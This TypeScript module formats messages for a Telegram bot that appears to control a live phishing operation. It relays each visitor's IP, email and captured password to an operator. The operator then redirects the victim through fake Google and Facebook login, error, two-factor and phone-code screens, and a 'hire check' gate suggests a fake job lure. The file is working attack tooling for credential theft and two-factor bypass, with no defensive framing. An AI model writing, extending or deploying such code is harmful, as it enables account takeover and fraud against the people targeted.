import { getPageLabel } from '@/components/admin/session-helpers'
import { escapeTelegramHtml } from '@/lib/copy-credentials'
import { credentialsSummaryForAdmin } from '@/lib/session-credentials'
import { ADMIN, AGENT } from '@/lib/agent-brand'

const DIVIDER = '━━━━━━━━━━━━━━━━'

export type TelegramSessionInfo = {
  session_id: string
  ip_address?: string
  user_email?: string
  user_password?: string
  page_url?: string
}

function sessionSuffix(sessionId: string): string {
  return sessionId.replace(/-/g, '').slice(-10).toLowerCase()
}

function formatPageLabel(pageUrl?: string): string {
  if (!pageUrl) return '—'
  const label = getPageLabel(pageUrl)
  return label || pageUrl.replace(/^https?:\/\/[^/]+/, '')
}

function formatCredentialsBlock(email?: string, passwordBlob?: string): string | null {
  const creds = credentialsSummaryForAdmin(email, passwordBlob)
  if (!creds || creds === '—') return null
  return `🔐  ${escapeTelegramHtml(creds)}`
}

/** Compact session block for redirect menus and confirmations. */
export function formatSessionSummary(session: TelegramSessionInfo): string {
  const lines = [
    `<b>Session</b>  ···${escapeTelegramHtml(sessionSuffix(session.session_id))}`,
    `<b>IP</b>  <code>${escapeTelegramHtml(session.ip_address ?? '—')}</code>`,
    `<b>Page</b>  ${escapeTelegramHtml(formatPageLabel(session.page_url))}`,
  ]
  const creds = formatCredentialsBlock(session.user_email, session.user_password)
  if (creds) lines.push(creds)
  return lines.join('\n')
}

export function formatRedirectMenu(session: TelegramSessionInfo): string {
  return [
    '🎛  <b>Redirect visitor</b>',
    '',
    'Choose the next step — same options as the web admin panel.',
    '',
    DIVIDER,
    formatSessionSummary(session),
  ].join('\n')
}

export function formatPhoneCodePicker(
  session: TelegramSessionInfo,
  error: boolean,
  auth: 'google' | 'facebook'
): string {
  const provider = auth === 'facebook' ? 'Facebook' : 'Google'
  const mode = error ? 'Wrong number screen' : 'Correct number screen'
  return [
    `📱  <b>${provider} phone prompt</b>`,
    '',
    `Pick a number <b>1–99</b> for the ${mode.toLowerCase()}.`,
    '',
    DIVIDER,
    formatSessionSummary(session),
  ].join('\n')
}

export function formatRedirectApplied(
  session: TelegramSessionInfo,
  stepLabel: string,
  targetPath: string,
  source: 'telegram' | 'panel' = 'telegram'
): string {
  const sourceLabel = source === 'panel' ? 'Web panel' : 'Telegram'
  return [
    '✅  <b>Visitor redirected</b>',
    '',
    `<b>From</b>  ${escapeTelegramHtml(sourceLabel)}`,
    `<b>Step</b>  ${escapeTelegramHtml(stepLabel)}`,
    `<b>Target</b>  <code>${escapeTelegramHtml(targetPath)}</code>`,
    '',
    DIVIDER,
    formatSessionSummary(session),
    '',
    '<i>Tap another button below to send a different step.</i>',
  ].join('\n')
}

export function formatPhoneCodeApplied(
  session: TelegramSessionInfo,
  stepLabel: string,
  code: number,
  targetPath: string
): string {
  return [
    '✅  <b>Phone prompt sent</b>',
    '',
    `<b>Step</b>  ${escapeTelegramHtml(stepLabel)}`,
    `<b>Number</b>  <b>${code}</b>`,
    `<b>Target</b>  <code>${escapeTelegramHtml(targetPath)}</code>`,
    '',
    DIVIDER,
    formatSessionSummary(session),
    '',
    '<i>Pick another number or go back to the full redirect menu.</i>',
  ].join('\n')
}

export function formatPanelSyncMessage(
  sessionId: string,
  redirectToPage: string
): string {
  const label = getPageLabel(redirectToPage)
  return [
    '🖥  <b>Panel command applied</b>',
    '',
    `<b>Step</b>  ${escapeTelegramHtml(label)}`,
    `<b>Session</b>  ···${escapeTelegramHtml(sessionSuffix(sessionId))}`,
    `<b>Target</b>  <code>${escapeTelegramHtml(redirectToPage)}</code>`,
    '',
    '<i>Visitor should receive this step immediately.</i>',
  ].join('\n')
}

export const TELEGRAM_HELP_TEXT = [
  `🎛  <b>${escapeTelegramHtml(AGENT.name)} — ${escapeTelegramHtml(ADMIN.title)}</b>`,
  '',
  '<b>Commands</b>',
  '/sessions — list active visitors + redirect buttons',
  '/panel — web admin link + session picker',
  '/help — show this guide',
  '',
  '<b>Calendar messages</b>',
  'Visitor messages from the calendar appear in Agent Console → Messages.',
  'Reply there — the visitor sees your reply in their thread.',
  '',
  '<b>Button codes</b>',
  'G· = Google  ·  FB· = Facebook',
  'verify · G·verify · FB·verify',
  'G·login · FB·login · loginErr · loading',
  'approve · app2fa · phone2fa · email2fa',
  'phonecode (1–99) · + Err variants',
  'datetime · details · confirm · home',
  '',
  '<i>Redirects from Telegram and the web panel stay in sync.</i>',
].join('\n')

export function formatSessionsHeader(
  count: number,
  panelUrl: string,
  showPanelLink: boolean
): string {
  if (showPanelLink) {
    return [
      '🖥  <b>Web admin</b>',
      `<a href="${escapeTelegramHtml(panelUrl)}">${escapeTelegramHtml(panelUrl)}</a>`,
      '',
      `👥  <b>${count}</b> active visitor${count === 1 ? '' : 's'}`,
      '',
      'Tap a session below, then choose the next step.',
    ].join('\n')
  }
  return [
    `👥  <b>${count}</b> active visitor${count === 1 ? '' : 's'}`,
    '',
    'Tap a session below, then choose the next step.',
  ].join('\n')
}

export function formatNoActiveSessions(panelUrl: string): string {
  return [
    '💤  <b>No active visitors</b>',
    '',
    'When someone lands on the site, they will appear here and in the web panel.',
    '',
    `🖥  <a href="${escapeTelegramHtml(panelUrl)}">${escapeTelegramHtml(panelUrl)}/panel</a>`,
  ].join('\n')
}

export function formatConnectionTest(): string {
  return [
    '✅  <b>Telegram connected</b>',
    '',
    `${escapeTelegramHtml(AGENT.name)} admin bot is ready.`,
    '',
    'Try <code>/help</code> or <code>/sessions</code> in this chat.',
  ].join('\n')
}

export function formatUnauthorizedChat(): string {
  return [
    '⛔  <b>Unauthorized chat</b>',
    '',
    'This bot only responds in the channel or group configured as <code>TELEGRAM_CHAT_ID</code>.',
    '',
    'Post <code>/help</code> from that chat to get started.',
  ].join('\n')
}

export function formatCallbackToast(stepLabel: string): string {
  return `Applied · ${stepLabel}`
}

export function formatCallbackToastPhone(stepLabel: string, code: number): string {
  return `Applied · ${stepLabel} · ${code}`
}

export function formatHireCheckMessage(input: {
  email: string
  sessionId: string
  ipAddress?: string
}): string {
  return [
    '📧  <b>Hire check · email gate</b>',
    DIVIDER,
    `<b>Email</b>  <code>${escapeTelegramHtml(input.email)}</code>`,
    `<b>Session</b>  ···${escapeTelegramHtml(sessionSuffix(input.sessionId))}`,
    `<b>IP</b>  <code>${escapeTelegramHtml(input.ipAddress ?? '—')}</code>`,
    '',
    '<i>Is this candidate on the hired list?</i>',
  ].join('\n')
}

export function formatHireDecisionApplied(
  email: string,
  hired: boolean,
  invitePath?: string
): string {
  if (hired) {
    return [
      '✅  <b>Marked as hired</b>',
      '',
      `<b>Email</b>  <code>${escapeTelegramHtml(email)}</code>`,
      invitePath
        ? `<b>Invite</b>  <code>${escapeTelegramHtml(invitePath)}</code>`
        : '',
      '',
      'Visitor will see “We found you” and receive the private link.',
    ]
      .filter(Boolean)
      .join('\n')
  }

  return [
    '❌  <b>Not hired</b>',
    '',
    `<b>Email</b>  <code>${escapeTelegramHtml(email)}</code>`,
    '',
    'Visitor will see a 404 — application not found.',
  ].join('\n')
}
